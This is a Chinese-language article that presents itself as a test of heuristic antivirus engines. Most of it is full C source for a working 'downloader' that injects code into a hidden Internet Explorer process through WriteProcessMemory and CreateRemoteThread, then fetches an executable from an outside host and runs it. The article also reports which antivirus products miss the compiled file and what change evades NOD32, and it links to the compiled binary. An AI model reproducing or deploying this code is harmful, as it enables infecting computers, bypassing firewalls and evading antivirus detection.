网络安全 频道

对“启发式扫描”杀毒软件一次测试分析报告

在网上看到一个“插ie穿墙下载者”的代码,这段代码的作用是在后台运行一个ie浏览器进程,然后把一段下载执行的代码插入到ie进程中去运行,程序执行的结果是通过使用ie进程的通信,突破防火墙到一个网络上的主机上下载一个程序并在运行“下载者”程序的这台电脑上执行。于是我想到用一些杀毒软件来对个程序做一个查杀得测试。下面先来看看这段代码:

#include <windows.h>

#pragma comment(lib,"user32.lib")

#pragma comment(lib,"kernel32.lib")

//#pragma comment(linker, "/OPT:NOWIN98") //取消这4行的注释,可编译出2K大的文件

//#pragma comment(linker, "/merge:.data=.text")

//#pragma comment(linker, "/merge:.rdata=.text")

//#pragma comment(linker, "/align:0x200")

#pragma comment(linker, "/ENTRY:main")

#pragma comment(linker, "/subsystem:windows")

#pragma comment(linker, "/BASE:0x13150000")

HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );//动态加载shell32.dll中的ShellExecuteA函数

DWORD (WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//动态加载Urlmon.dll中的UrlDownloadToFileA函数

HANDLE (WINAPI *MYINJECT) (HANDLE, LPSECURITY_ATTRIBUTES, DWORD,LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); //建立远程线程,并运行

HANDLE processhandle;

DWORD pid;

HINSTANCE hshell,hurlmon,hkernel;

void download() //注入使用的下载函数

{

 hshell=LoadLibrary("Shell32.dll");

 hurlmon=LoadLibrary("urlmon.dll");

 (FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA");

 (FARPROC&)DOWNFILE= GetProcAddress(hurlmon,"URLDownloadToFileA");

 DOWNFILE(NULL,"http://www.163info.org/se.exe","c:\\ie.exe",0, NULL);

 SHELLRUN(0,"open","c:\\ie.exe",NULL,NULL,5);

 ExitProcess(0);

};

void main() //主函数

{

 //1.得到IE路径,并运行

 char iename[MAX_PATH],iepath[MAX_PATH];

 ZeroMemory(iename,sizeof(iename));

 ZeroMemory(iepath,sizeof(iepath));

 GetWindowsDirectory(iepath,MAX_PATH);

 strncpy(iename,iepath,3);

 strcat(iename,"program files\\Internet Explorer\\IEXPLORE.EXE");

 WinExec(iename,SW_HIDE);

 Sleep(500);

 //2.得到 IE process handle

 HWND htemp;

 htemp=FindWindow("IEFrame",NULL);

 GetWindowThreadProcessId(htemp,&pid);

 processhandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

 //3.分配内存

 HMODULE Module;

 LPVOID NewModule;

 DWORD Size;

 LPDWORD lpimagesize;

 Module = GetModuleHandle(NULL);//进程映像的基址

 //得到内存镜像大小

 _asm

 {

 push eax;

 push ebx;

 mov ebx,Module;

 mov eax,[ebx+0x3c];

 lea eax,[ebx+eax+0x50];

 mov eax,[eax]

 mov lpimagesize,eax;

 pop ebx;

 pop eax;

 };

 Size=(DWORD)lpimagesize;

 NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //确定起始基址和内存映像基址的位置

 //4.写内存,创建线程

 WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);//写数据

 LPTHREAD_START_ROUTINE entrypoint;

 __asm

 {

 push eax;

 lea eax,download;

 mov entrypoint,eax;

 pop eax

 }

 hkernel=LoadLibrary("KERNEL32.dll");

 (FARPROC&)MYINJECT= GetProcAddress(hkernel,"CreateRemoteThread");

 MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行

 //5.关闭对象

 CloseHandle(processhandle);

 return;

} ;

把上面这段代码编译成PE文件后用Mcafee、Symantec、卡巴、nod32等杀毒软件查杀的结果是:Kaspersky——no virus found、McAfee——no virus found、Symantec——no virus found、NOD32v2——probably unknown NewHeur_PE virus。在四款杀毒软件中只有nod32杀毒软件把“下载者”识别为可能性的PE病毒文件。

Nod32是依据什么来判断“下载者”有可能是病毒文件的呢?带着这个疑问,我对上面的“下载者”代码做了一个简单的分析。当我注释掉WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);这行代码后,nod32就没有再判断这个文件为病毒文件了。但“下载者”下载执行的功能也随之失效了。

通过上面的实验分析,大概可以看出nod32是依据程序调用了WriteProcessMemory这个函数,并且再结合一些程序的其他特征行为来判断“下载者”有可能是病毒文件的。至于nod32 得av工程师使了的什么样的病毒行为分析策略,在这里很难分析清楚,希望有对这方面有研究的博友共同探讨。

编译好的文件的下载地址:http://www40.websamba.com/pcsec%5Fbook/down2.exehttp://netadmin.77169.com/HTML/20070423005400.html

0
相关文章